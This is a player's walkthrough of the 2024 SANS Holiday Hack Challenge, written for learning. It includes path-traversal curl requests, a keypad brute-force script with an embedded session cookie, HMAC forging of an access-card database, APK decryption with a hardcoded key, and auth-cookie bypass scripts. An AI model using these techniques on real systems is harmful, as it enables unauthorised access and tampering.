Introduction
TLDR
In 2024, the Holiday Hack Challenge is about the elves fighting each other.
It was a lot of fun again and I hope I can help people with this walkthrough in case they get stuck somewhere.
First login and intro

Sign in with Email/Password, Google or X:

Click “Play Now!”:

Prologue
Goto Jingle Ringford to get the Snowball Badge:


After we have the snowball badge you can start your first terminal challenge:
First Terminal

So from the conversation you now should search for Poinsettia McKittens and Angel Candysalt. Both can be found nearby.

Elf Connect
Talk to Angel Candysalt:


So let’s play connections :)

Angel Candysalt gives some more information to manipulate the score itself in the code. If you look into the code in the browser you see:



The score is set based on sessionStorage score. After the first round I tried to change it from 400 to 400000. But editing it directly in session storage does not work:

So the next idea was to set a breakpoint at a line where the score is updated. There is a line where a new line connections is awarded with 100 points. So let’s set a breakpoint here:

The next time you have a correct line of connections the breakpoint will be triggered and you can set up an arbitrary value:

If you now disable all breakpoints and let the program continue you will get the gold level of this challenge:

Now let’s search for Poinsettia McMittens:

Elf Minder 9000

The following where the solutions I found in the usual way to play Elf Minder 9000:




After that I tried to find the gold level:



If you look into the code you see that there is an edit mode:

Data seems to be stored as json:

There is also a strange variable named whyCantIHoldAllTheseThings:

And Websockets seems to be used:

There is a function disappointHackers:

Looking above the comments mentioning edit there is an interesting variable isEditor:
Double Excalamation marks mean convert to boolean true if not empty
https://hhc24-elfminder.holidayhackchallenge.com/index.html?id=171bcaee-cb15-43de-852d-c987458aacc9&level=A%20Real%20Pickle&edit=true goes in the edit mode

This could lead to something like:

But you cannot end this level.
The game is based on json:

But I haven’t found out how I can use this to solve the gold challenge.
Act I
In your snowball click to go to Act I:

cURLing
On of the first places you find is:

Bow Ninecandle introduces you to the task:

Possible solutions are:

y

curl curlingfun:8080 ->
"""
You have successfully accessed the site on port 8080!
If you need help, please remember to run "hint" for a hint!
"""

curl -k https://curlingfun:9090

curl -X POST -d "skip=alabaster" -k https://curlingfun:9090

curl --cookie "end=3" -k https://curlingfun:9090

curl -I -k https://curlingfun:9090

curl -H "Stone:Granite" -k https://curlingfun:9090

curl -k --path-as-is 'https://curlingfun:9090/../../etc/hacks'

Look into the folder:
ls

There is a file explaining hard mode:
cat HARD-MODE.txt
To solve these constraints run:

curl -H "Hack:12ft" --cookie "end=10" -X POST -d "skip=bow" -k https://curlingfun:9090

Ok then access this URL:
curl -H "Hack:12ft" --cookie "end=10" -X POST -d "skip=bow" -k --path-as-is 'https://curlingfun:9090/../../etc/button'

Finally follow the redirection with -L:
curl -L -H "Hack:12ft" --cookie "end=10" -X POST -d "skip=bow" -k --path-as-is 'https://curlingfun:9090/GoodSportsmanship'

"""
Excellent work, you have solved hard mode! You may close this terminal once HHC grants your achievement.
"""
After the challenge is solved perhaps Bow Ninecandle tells you a little bit additional:

The next I visited was Alabaster Snowball left to the curling area:


At the left of this area is Tinsel Upatree:
So this probably gives the hint to look into the crates.
A little bit lower at the left side is Noel Boetie:

There is a monitoring station in the middle:

Frosty Keypad
Right at the top you can find Morcel Nougat and a keypad challenge:

The book can be found here:

And there is a UV flashlight:

The book contains the following text:





To proceed you can read about the Ottendorf Cipher: https://nationaltreasure.fandom.com/wiki/Ottendorf_Cipher
There is a hint at the postit at left upper side:

So from the Ottendorf cipher this is the combination “Page:Word:Character in Word” which results in
SANTA
With the UV flash light you can identify the numbers used. This can narrow the set to find the combination of numbers.

The numbers are 2,6,7 and 8.
What could the word SANTA be in numbers?
I found the solution at the mobile phone - T9:


Now let’s try to permutate 2,6, 7 and 8, brute force the key pad and find the gold solution. I took the HTTP request from the web site put it into python using the requests library. You have to toggle the speed a bit to get correct solution in the responses. I took 1 second:
import requests
import time
from itertools import product
def submit_answer(answer):
# Define the URL, headers, and data
# url = "https://hhc24-frostykeypad.holidayhackchallenge.com/submit?id=c5e47b3c-3816-4a83-81e2-d76d6be16286"
url = "https://hhc24-frostykeypad.holidayhackchallenge.com/submit?id=b973b6b2-ab9f-43a4-8554-7bad47c15195"
headers = {
"User-Agent": "<your User Agent>",
"Accept": "*/*",
"Accept-Language": "de,en-US;q=0.7,en;q=0.3",
"Accept-Encoding": "gzip, deflate, br, zstd",
"Referer": "https://hhc24-frostykeypad.holidayhackchallenge.com/?&challenge=termFrostyKeypad&username=IeFeec2e&id=b973b6b2-ab9f-43a4-8554-7bad47c15195&area=frontyardact1&location=62,22&tokens=easy,termFrostyKeypad,hard&dna=ATATATTAATATATATATATTACGATATATATTATAGCATATATATATATATTAGCATATATATATATGCCGATATTATAATATATATATATGCGCATATATATATATATCGATATTACG",
#"Referer": "https://hhc24-frostykeypad.holidayhackchallenge.com/?&challenge=termFrostyKeypad&username=IeFeec2e&id=c5e47b3c-3816-4a83-81e2-d76d6be16286&area=frontyardact1&location=62,23&tokens=&dna=ATATATTAATATATATATATTACGATATATATTATAGCATATATATATATATTAGCATATATATATATGCCGATATTATAATATATATATATGCGCATATATATATATATCGATATTACG",
"Content-Type": "application/json",
"Origin": "https://hhc24-frostykeypad.holidayhackchallenge.com",
"Alt-Used": "hhc24-frostykeypad.holidayhackchallenge.com",
"Connection": "keep-alive",
"Cookie": "CreativeCookieName=eyJ1c2VyaWQiOiI1NzgxYjBkMi02YTdjLTRjNTEtYWZlZS0zMmVkZmUxODVmNmEifQ.Z1I3Qg.iRNJPtIXeYJt9XFndzErrrNeiOE",
#"Cookie": "CreativeCookieName=eyJ1c2VyaWQiOiIwODlmY2MwNS04ZmI2LTRmNDctODc0Ni01OThiYzVhOWEwNDAifQ.Zz594g._3M5KLOrZW-wLC6ilcHuGEoUM5k",
"Sec-Fetch-Dest": "empty",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Site": "same-origin",
"DNT": "1",
"Sec-GPC": "1",
"Priority": "u=0",
"TE": "trailers",
}
data = {"answer": answer} # Replace with your actual answer
# Send the POST request
response = requests.post(url, headers=headers, json=data)
time.sleep(1)
# Print the response status code
print(answer+ " "+ str(response.status_code))
# If successful (status code 200), you can print the response content
# if response.status_code == 200:
# print(response.text)
if __name__ == "__main__":
# Loop through potential answers (replace 100000 with the desired upper limit)
for combo in product('2678', repeat=5):
#for combo in product('8039', repeat=5):
#for combo in product('9140', repeat=5):
submit_answer(''.join(combo))
This yields in a lot of 400 HTTP Status Codes:
400
{"error":"The data you've provided seems to have gone on a whimsical adventure, losing all sense of order and coherence!"}
and finally to:
If you grep in the output:
you have the gold solution! :)
So the first answer is from the word SANTA at the Keypad:
72682
and by using brute force:
22786
Shredded Pieces
If you talk to Morcel Nougat again

you get shredded pieces
The whole text from Morcel:

and you have a new item in your pocket:

Morcel Nougat has a hint for you:

as well as Jewel Loggins:

So let’s use the mentioned github gist https://gist.github.com/arnydo/5dc85343eca9b8eb98a0f157b9d4d719:
mkdir shredded_pieces
cd shredded_pieces
mv ~/Downloads/shreds.zip .
curl -LO https://gist.githubusercontent.com/arnydo/5dc85343eca9b8eb98a0f157b9d4d719/raw/78aa80e7fcead23fdd7f890b466a5f00ad956b7d/heuristic_edge_detection.py
unzip shreds.zip
sudo apt install python3-numpy
After that you can use python3 heuristic_edge_detection.py and as a result get assembled_image.png:

From the picture you can extract:
BAUD: 112500
PARITY: EVEN
DATA: 7 BITS
STOP BITS: 1 BIT
FLOW CONTROL: RTS
Hardware Hacking
At the right side there is a hardware hacking challenge with Jewel Loggins:

There is also Wombley Cube a little bit more above:

Hardware Part 1
Let’s tackle the hardware challenge:


With the information from shredded pieces you can piece together the shreds and the configuration (cf shredded pieces)
BAUD: 115200
PARITY: EVEN
DATA: 7 BITS
STOP BITS: 1 BIT
FLOW CONTROL: RTS
I used the AI which responded to the colors with:
**Frequently used color assignments:**
- Red:** Often used for the positive supply voltage (VCC).
- Black:** Usually used for ground (GND).
- Green:** Often used for the TX (Transmit) pin.
- Blue:** Often used for the RX (Receive) pin.
- White:** Can be used for various signals, but is less common than the other colors.
and therefore set TX to RX and RX to TX with the corresponding colors.
With the aforementioned settings it burned the chip:

So change 5V to 3V. After that it works:


Now Jewel Loggins tells you a little bit more

Hardware Part 2
Let us now turn to the left-hand side “Hardware Part 2”


If you check the folder and look into the bash history you can find the following

slh --passcode CandyCaneCrunch77 --set-access 1 --id 42
Lets use that to grant access to card number 42

Jewel Loggins now gives you a hint for gold

So let’s relogin to the shell. If you look into the folder you can find a file access_cards which is an sqlite database

It has two tables access_cards and config. What is inside the access_cards table
select * from access_cards

Card ID 42 has the following data
sqlite> select * from access_cards where id=42;
42|c06018b6-5e80-4395-ab71-ae5124560189|0|ecb9de15a057305e5887502d46d434c9394f5ed7ef1a51d2930ad786b02f6ffd
Let’s take a short glimpse into the config table
sqlite> select * from config;
1|hmac_secret|9ed1515819dec61fd361d5fdabb57f41ecce1a5fe1fe263b98c0d6943b9b232e
2|hmac_message_format|{access}{uuid}
3|admin_password|3a40ae3f3fd57b2a4513cca783609589dbe51ce5e69739a33141c5717c20c9c1
4|app_version|1.0
The signature from card id 42 is most probably SHA2-256

The format for the hmac message format from the config table says
{access}{uuid}
From this format and the hint from Jewel Loggins to CyberChef, let’s try to create the HMAC.
Open CyberChef and search in the left upper corner in the search box for “HMAC” and move it in the recipe panel. Then write in the input panel (according to
{access}{uuid} - uuid is the second row in the access_cards table).
Set key format to UTF-8 and the key to the HMAC secret found from the config table.
1c06018b6-5e80-4395-ab71-ae5124560189

The result is the missing signature which can be used to update the card number 42:
135a32d5026c5628b1753e6c67015c0f04e26051ef7391c2552de2816b1b7096
UPDATE access_cards
SET
id=42,
uuid='c06018b6-5e80-4395-ab71-ae5124560189',
access=1,
sig='135a32d5026c5628b1753e6c67015c0f04e26051ef7391c2552de2816b1b7096'
WHERE id = 42;
Jewel Loggins tells nothing new after that.
Alabaster Snowball:
Wombley Cube:

Frosty’s Beach
There is some stuff going on at Frosty’s Beach the context of which I have not yet understood:




Act II
If you enter Act II the following will happen

Alabaster Snowball gives you a bit information about what happened

Toilet Tunnel Network
Sparkle Redberry tells you about some hidden tunnel which you can probably use

You can those hidden tunnel in small toilets which you then can use as tunnel between Alabaster area, Wombley and a DMZ

Mobile Analysis
The first you can talk to Eve Snowshoes who opens a new task

Eve gives you two hints

This is the debug version

and this the release

If you open SantaSwipe.apk with Genymotion you can see

Install jadx and start the gui

SantaSwipe.apk with JADX-GUI reveals a database in the code

private static final String DATABASE_NAME = "naughtynicelist.db";
private static final int DATABASE_VERSION = 3;
/* JADX WARN: 'super' call moved to the top of the method (can break code semantics) */
public DatabaseHelper(Context context) {
super(context, DATABASE_NAME, (SQLiteDatabase.CursorFactory) null, 3);
Intrinsics.checkNotNullParameter(context, "context");
}
@Override // android.database.sqlite.SQLiteOpenHelper
public void onCreate(SQLiteDatabase db) {
Intrinsics.checkNotNullParameter(db, "db");
db.execSQL("CREATE TABLE IF NOT EXISTS NiceList (Item TEXT);");
db.execSQL("CREATE TABLE IF NOT EXISTS NaughtyList (Item TEXT);");
db.execSQL("CREATE TABLE IF NOT EXISTS NormalList (Item TEXT);");
db.execSQL("DELETE FROM NiceList;");
db.execSQL("DELETE FROM NaughtyList;");
db.execSQL("DELETE FROM NormalList;");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Carlos, Madrid, Spain');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Aiko, Tokyo, Japan');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Maria, Rio de Janeiro, Brazil');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Liam, Dublin, Ireland');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Emma, New York, USA');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Chen, Beijing, China');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Fatima, Casablanca, Morocco');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Hans, Berlin, Germany');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Olga, Moscow, Russia');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Ravi, Mumbai, India');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Amelia, Sydney, Australia');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Juan, Buenos Aires, Argentina');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Sofia, Rome, Italy');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Ahmed, Cairo, Egypt');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Yuna, Seoul, South Korea');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Ellie, Alabama, USA');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Lucas, Paris, France');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Mia, Toronto, Canada');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Sara, Stockholm, Sweden');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Ali, Tehran, Iran');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Nina, Lima, Peru');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Anna, Vienna, Austria');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Leo, Helsinki, Finland');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Elena, Athens, Greece');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Davi, Sao Paulo, Brazil');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Marta, Warsaw, Poland');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Noah, Zurich, Switzerland');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Ibrahim, Ankara, Turkey');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Emily, Wellington, New Zealand');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Omar, Oslo, Norway');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Fatou, Dakar, Senegal');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Olivia, Vancouver, Canada');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Ethan, Cape Town, South Africa');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Santiago, Bogota, Colombia');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Isabella, Barcelona, Spain');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Ming, Shanghai, China');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Chloe, Singapore, Singapore');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Mohammed, Dubai, UAE');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Ava, Melbourne, Australia');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Luca, Milan, Italy');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Sakura, Kyoto, Japan');");
db.execSQL("INSERT INTO NormalList (Item) VALUES ('Edward, New Jersey, USA');");
}
If you search for NaughtyList in the files

Let’s look into the DELETE FROM NaughtyList WHERE Item = Statement in more detail. This seems to be
vulnerable to SQL Injection because the code uses string concatenation

There is also a SELECT statement which filters a specific name in the same file

This is the answer for who has been left out from the list.
Solution:
Ellie

Talk to Eve Snowshoes again


He gives you two hints for the gold solution


First I started with some investigations using JADX-GUI in SantaSwipeSecure.aab.
There you can find the naughtynicelist.db

and some interesting inital data

You can use Genymotion to get some visual experience how SantaSwipeSecure looks like
959 keytool -genkey -alias server -validity 365 -keyalg RSA -keystore keystore
962 java -jar bundletool-all-1.17.2.jar build-apks --bundle=<path_to_SantaSwipeSecure_aab>/SantaSwipeSecure.aab --output=<path_to_SantaSwipeSecure_aab>/output.apks --mode=universal --ks=<path_to_SantaSwipeSecure_aab>/keystore --ks-key-alias=server --ks-pass=pass:keystore
964 mv output.apks generate_apk/output.apks
965 cd generate_apk
967 cp output.apks output.zip
968 unzip output.zip -d <path_to_SantaSwipeSecure_aab>/generate_apk/

Back in SantaSwipe.apk in the file DatabaseHelper you can find this function

and

If you convert this to java code
cat Charsets.java
import java.nio.charset.Charset;
public final class Charsets {
public static final Charsets INSTANCE = new Charsets();
public static final Charset ISO_8859_1;
public static final Charset US_ASCII;
public static final Charset UTF_16;
public static final Charset UTF_16BE;
public static final Charset UTF_16LE;
public static final Charset UTF_8;
private static volatile Charset utf_32;
private static volatile Charset utf_32be;
private static volatile Charset utf_32le;
private Charsets() {
}
static {
Charset forName = Charset.forName("UTF-8");
UTF_8 = forName;
Charset forName2 = Charset.forName("UTF-16");
UTF_16 = forName2;
Charset forName3 = Charset.forName("UTF-16BE");
UTF_16BE = forName3;
Charset forName4 = Charset.forName("UTF-16LE");
UTF_16LE = forName4;
Charset forName5 = Charset.forName("US-ASCII");
US_ASCII = forName5;
Charset forName6 = Charset.forName("ISO-8859-1");
ISO_8859_1 = forName6;
}
public final Charset UTF32() {
Charset charset = utf_32;
if (charset != null) {
return charset;
}
Charset forName = Charset.forName("UTF-32");
utf_32 = forName;
return forName;
}
public final Charset UTF32_LE() {
Charset charset = utf_32le;
if (charset != null) {
return charset;
}
Charset forName = Charset.forName("UTF-32LE");
utf_32le = forName;
return forName;
}
public final Charset UTF32_BE() {
Charset charset = utf_32be;
if (charset != null) {
return charset;
}
Charset forName = Charset.forName("UTF-32BE");
utf_32be = forName;
return forName;
}
}
cat Decrypt.java
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import javax.crypto.Cipher;
import javax.crypto.spec.GCMParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.util.Base64;
public class Decrypt {
private final byte[] iv;
private final SecretKeySpec secretKeySpec;
private final byte[] encryptionKey;
public Decrypt() {
String obj = "rmDJ1wJ7ZtKy3lkLs6X9bZ2Jvpt6jL6YWiDsXtgjkXw=";
byte[] decode = Base64.getDecoder().decode(obj);
this.encryptionKey = decode;
this.secretKeySpec = new SecretKeySpec(decode, "AES");
obj = "Q2hlY2tNYXRlcml4";
decode = Base64.getDecoder().decode(obj);
this.iv = decode;
}
private final String decryptData(String encryptedData) {
try {
Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
cipher.init(2, this.secretKeySpec, new GCMParameterSpec(128, this.iv));
byte[] doFinal = cipher.doFinal(Base64.getDecoder().decode(encryptedData));
if (doFinal == null) return "";
return new String(doFinal, Charsets.UTF_8);
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
public static void main(String[] args) {
Decrypt d = new Decrypt();
System.out.println(d.decryptData("Base64todecrypt"));
}
}
Take the following as the input for the decryptData function

and run this code
java Decrypt
the output is

Another interesting value to decrypt is

which yields to

Oh! This is something deleting from the list. Let’s inspect that:
The output KGfb0vd4u/4EWMN0bp035hRjjpMiL4NQurjgHIQHNaRaDnIYbKQ9JusGaa1aAkGEVV8= decrypted is

So the solution then for gold would be
Joshua

Snowball Showdown
The next thing I tackled was the Snowball Showdown. This is where Dusty Giftwrap is located

So the task is

Run Snowball Showdown in Chrome or Safari - Firefox is really laggy

In the background web sockets are used

If you start the game in the url you can find a key value pair which controls if the game is single player

Set it to true to play alone

From the files copy phaser-snowball-game.js to a local file

Set a breakpoint and disbalance team strength


data.alabasterElves.push(data.alabasterElves[0])
I tried to add elves to increase team of Alabaster

On the other side I tried to decrease the size of the team from Wombley
data.wombleyElves = data.wombleyElves.pop()
Then I played and try to get more points, finally resulting in bronze rating for the challenge

Drone Path
For the next challenge go through the tunnels in the DMZ to Chimney Scissorsticks

The task is the following

So let’s start!


I downloaded the file and viewed it with a KML viewer in the internet

So this looks like DROP1 ? But this you cannot use anywhere. From the characters left this seems to be incomlete.
So I analyzed the file fritjolf-Path.kml deeper using cat.
Mm, there seems to be a link to google earth. So open the KML with Google Earth

If you import the KML file here you get this

And this is the needed password for login. The username you can get from the filename. The credentials:
fritjolf/GUMDROP1

There is the next challenge

Download CSV. Let’s inspect what’s inside.
For that I used libreoffice: libreoffice Preparations-drone-name.csv and imported the csv there.

The longitude and latitude coordinates there yields to a route https://maps.app.goo.gl/uGa2YFD12wx4VDLF6

If you inspect those coordinate with google maps you can find some interesting thing. If you from map to satellite and look at the environment you can see:

This is definitely an E :)

Here is an L!

F

- or I

H

A

W

K
So we have ELF-HAWK or ELFIHAWK
If you search for this as a Drone you get

So you have a new CSV file.
I would say the keywords LONG and LATTER are a hint for Longitude and Latitude inside the file

For longitude values you can use
cut -f 5 ../ELF-HAWK-dump.csv -d "," | paste -s -d,
For the latitude values
cut -f 6 ../ELF-HAWK-dump.csv -d "," | paste -s -d,

Copy those values into a geopandas python script. geopandas needs a CRS. The most commonly used in the US seems to be EPSG: 4326:
WGS84 (EPSG: 4326) - Commonly used by organizations that provide GIS data for the entire globe or many countries. CRS used by Google Earth
Overview of Coordinate Reference Systems (CRS) in R
So you can set EPSG:4326 / WGS84 (https://en.wikipedia.org/wiki/World_Geodetic_System#WGS84) as CRS
cat dronepath.py
import pandas as pd
from shapely.geometry import LineString
import geopandas as gpd
import folium
# prepare data
data = {'Latitude': [<Latitude values comma separated],
'Longitude': [<Longitude Values comma separated>]}
df = pd.DataFrame(data)
# create lines
geometry = [LineString([(lon, lat) for lat, lon in zip(df['Latitude'], df['Longitude'])])]
gdf = gpd.GeoDataFrame(geometry=geometry)
# create map
m = folium.Map(location=[df['Latitude'].mean(), df['Longitude'].mean()], zoom_start=5)
gdf.crs = "epsg:4326"
folium.GeoJson(gdf).add_to(m)
m.save('flugroute.html')

So the final solution (for silver) is
DroneDataAnalystExpertMedal

Back to Chimney Scissorsticks

On the Wombley side there is Garland Candlesticks

and Wombley Cube

PowerShell
Piney Sappington introduces to a new challenge about PowerShell

The solutions are

y

dir
type welcome.txt

type welcome.txt | Measure-Object -word

netstat -an

Invoke-WebRequest http://127.0.0.1:1225


function BasicAuth($user, $pass, $url, $cookie_name, $cookie_value) {
$pair = "$($user):$($pass)"
$encodedCreds = [System.Convert]::ToBase64String([System.Text.Encoding]::ASCII.GetBytes($pair))
$headers = @{
Authorization = "Basic $encodedCreds"
}
if (-not $cookie_name)
{
$response = Invoke-WebRequest $url -Headers $headers
}
else
{
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
$cookie = New-Object System.Net.Cookie
$cookie.Name = $cookie_name
$cookie.Value = $cookie_value
$cookie.Domain = "127.0.0.1"
$session.Cookies.Add($cookie);
$response = Invoke-WebRequest $url -Headers $headers -WebSession $session
}
$response
}
function BasicAuth($user, $pass, $url, $cookieHashTable) {
$pair = "$($user):$($pass)"
$encodedCreds = [System.Convert]::ToBase64String([System.Text.Encoding]::ASCII.GetBytes($pair))
$headers = @{
Authorization = "Basic $encodedCreds"
}
if (-not $cookieHashTable)
{
$response = Invoke-WebRequest $url -Headers $headers
}
else
{
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
foreach ($element in $cookieHashTable.getEnumerator()) {
$cookie = New-Object System.Net.Cookie
$cookie.Name = $element.Key
$cookie.Value = $element.Value
$cookie.Domain = "127.0.0.1"
$session.Cookies.Add($cookie);
}
$response = Invoke-WebRequest $url -Headers $headers -WebSession $session
}
$response
}
# Use it like BasicAuth admin admin http://127.0.0.1:1225 @{token ="xyz"; mfa_token ="abc"}
$response = BasicAuth "admin" "admin" "http://127.0.0.1:1225"

$response.Links

$links = $response.Links
foreach ($link in $links) {
$href = $link.href
$r = Invoke-WebRequest $href
$x = ($r.Content -split '\s+').Count
if ($x -eq 138) { Write-Host $href }
}

So there is one interesting endpoint http://localhost:1225/endpoints/13. Let’s look into it
$r = Invoke-WebRequest "http://localhost:1225/endpoints/13"
$r.Content

There is a hint for a csv file what you can analyze
$r=Invoke-WebRequest http://127.0.0.1:1225/token_overview.csv
$r.Content

This seems to need more so let’s try to authenticate us with the Basic Auth credentials already used
$r = BasicAuth "admin" "admin" "http://127.0.0.1:1225/token_overview.csv"
$r.Content

Mm, from the response you can infer http://127.0.0.1:1225/tokens/<sha256sum>.
Call this page and evaluate the response
$r=BasicAuth "admin" "admin" "http://127.0.0.1:1225/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C"
$r.Content

A cookie is missing. Our BasicAuth function can handle this with the 3rd and 4th parameter
$r=BasicAuth "admin" "admin" "http://127.0.0.1:1225/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C" @{token="5f8dd236f862f4507835b0e418907ffc"}
$r.Content

The response
<h1>Cookie 'mfa_code', use it at <a href='1734742884.0846226'>/mfa_validate/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C</a></h1>
is an MFA code which you can use at the mentioned endpoint url.

So those two approaches did not work, let’s try to put the code as cookie this way:

It’s seems that the site needs two cookies, the token cookie and the mfa cookie.
Our written Basic function works like this:
# Use it like BasicAuth admin admin http://127.0.0.1:1225 @{token ="xyz"; mfa_token ="abc"}
so you can do
$r=BasicAuth admin admin http://127.0.0.1:1225/mfa_validate/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C @{token = "5f8dd236f862f4507835b0e418907ffc"; mfa_code = "1734822972.8962357"}
$r.Content
And from the response you can infer instead of mfa_code (which was given you as hint before) , it seems that a cookie named mfa_token is expected.
Let’s try that:
$r=BasicAuth admin admin http://127.0.0.1:1225/mfa_validate/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C @{token = "5f8dd236f862f4507835b0e418907ffc"; mfa_token = "1734822972.8962357"}
$r.Content

Oh, this time took it too long, so probably you need to code something to make it faster. Let’s check that and do the last steps again:

Seems only the part for href is changing if you compare it to the last time which is the value for mfa_token. To extract you can do
$html = $r.Content
$match = $html | Select-String -Pattern "<a href='(.*?)'>"
$href = $match.Matches.Groups[1].Value
This uses

The complete snippet then is
$r=BasicAuth "admin" "admin" "http://127.0.0.1:1225/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C" @{token="5f8dd236f862f4507835b0e418907ffc"}
$html = $r.Content
$match = $html | Select-String -Pattern "<a href='(.*?)'>"
$href = $match.Matches.Groups[1].Value
$r=BasicAuth admin admin http://127.0.0.1:1225/mfa_validate/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C @{token = "5f8dd236f862f4507835b0e418907ffc"; mfa_token = $href}
$r.Content

Response:
$r.Content
<h1>[+] Success</h1><br><p>Q29ycmVjdCBUb2tlbiBzdXBwbGllZCwgeW91IGFyZSBncmFudGVkIGFjY2VzcyB0byB0aGUgc25vdyBjYW5ub24gdGVybWluYWwuIEhlcmUgaXMgeW91ciBwZXJzb25hbCBwYXNzd29yZCBmb3IgYWNjZXNzOiBTbm93TGVvcGFyZDJSZWFkeUZvckFjdGlvbg==</p>
Looks like base64. To decode it you can implement
$encodedString = "Q29ycmVjdCBUb2tlbiBzdXBwbGllZCwgeW91IGFyZSBncmFudGVkIGFjY2VzcyB0byB0aGUgc25vdyBjYW5ub24gdGVybWluYWwuIEhlcmUgaXMgeW91ciBwZXJzb25hbCBwYXNzd29yZCBmb3IgYWNjZXNzOiBTbm93TGVvcGFyZDJSZWFkeUZvckFjdGlvbg=="
$decodedBytes = [System.Convert]::FromBase64String($encodedString)
$decodedString = [System.Text.Encoding]::UTF8.GetString($decodedBytes)
Write-Host "Decoded String: $decodedString"
which gives you the silver solution

The final secret is:
SnowLeopard2ReadyForAction
To get gold, there seems currently to be no clue inside the terminal. So let’s close the terminal and talk to Piney Sappington again who gives you some hints

North Pole Monitor Station
There is also a monitor station again in the middle in the DMZ

The Great Elf Conflict
Near Pepper Minstix and Wunorse Openslae in the DMZ you can find the Great Elf Conflict challenge.
Pepper Minstix tells you


From Wunorse Openslae you get

This results in multiple tasks - from what there first are

To start the challenge create for Microsoft KC7 and account or login using Google or Microsoft. You are greated with the following text


There is a small introduction to the web interface what tells you where clusters, query results can be found, or queries be made

The intro text tells you the solution for the first question
let's do this
Question 2 pops up

Let’s perform the steps described

Employees
which gives you a list of all employees

Employees
| take 10
filters you the first 10 entries of this list

At available tables you can get an overview of all tables existing

So to end question 2

enter the mentioned text
when in doubt take 10
Question 3 asks to count the employees

The solution:
90

Now specific entries of the table are of interest

Enter
Shinny Upatree

In the next step operators are explained

To proceed enter the text described
operator
In question 6 two tables are connected the first time. Get the email address from
Angel Candysalt from the Employee table and then put it into the query in the Email table.


So the email address i
angel_candysalt@santaworkshopgeeseislands.org
Now let’s us it like in the text mentioned to retrieve the amount of recipients

Solution:
31
The next question is about how to get how many distinct recipients for a specific sender are in the logs.
The sender to be analyzed is twinkle_frostington@santaworkshopgeeseisland.org.
This can be done with:

Solution
32
Ok, so Twinkle Frostington has written to 32 different recipients. In the next question the task this gets broadened to websites.

So the Employees table contains IPs (look before). Get the IP from Twinkle from it.

And search it as source IP in the outbound network events as Twinkle should be the source for the website calls. From the results lets check how many different urls Twinkle has visited

Solution:
4
This was it for level 1, you reached level 2 ! :) The first question here is how many domains visited contain the word “green”

The solution is
10
Now we have to handle two queries where the first is used as a variable in the second


We got the solution:
8
This is also the solution for silver Microsoft KC7 “KQL 101”:

To start level 2

just enter
surrender
This level is about attacks against Team Wombley. The next question is more lengthy

So now there is no help anymore. You have to get the answer from what we learned already. First let’s check what information you can get from the Email table:

There is a column verdict which labels an email from the spam filter as phishing or not The keyword mentioned in the task to search for in the emails is “surrender”

Solution:
surrender@northpolemail.com

To find the amount of elves from Team Wombley who received the email do

Solution:
22

Mm, so how to find the filename? There is a column called link in the Email table which could fit:

So from all those links you can infer the solution:
Team_Wombley_Surrender.doc

Let’s use this snippet to find the patient zero, the first computer infected in Team Wombley

Solution:
Joyelle Tinseltoe

There are two variables to be found timestamp and hostname. The timestamp can be used from the last query response:

The ProcessEvents table contains a column hostname.
Let’s search for the hostname from Joyelle Tinseltoe in this table.

The corresponding query gives us the solution

So this gives us
keylogger.exe
The next step is about getting the flag for the second challenge in the main Microsoft KC7 challenge
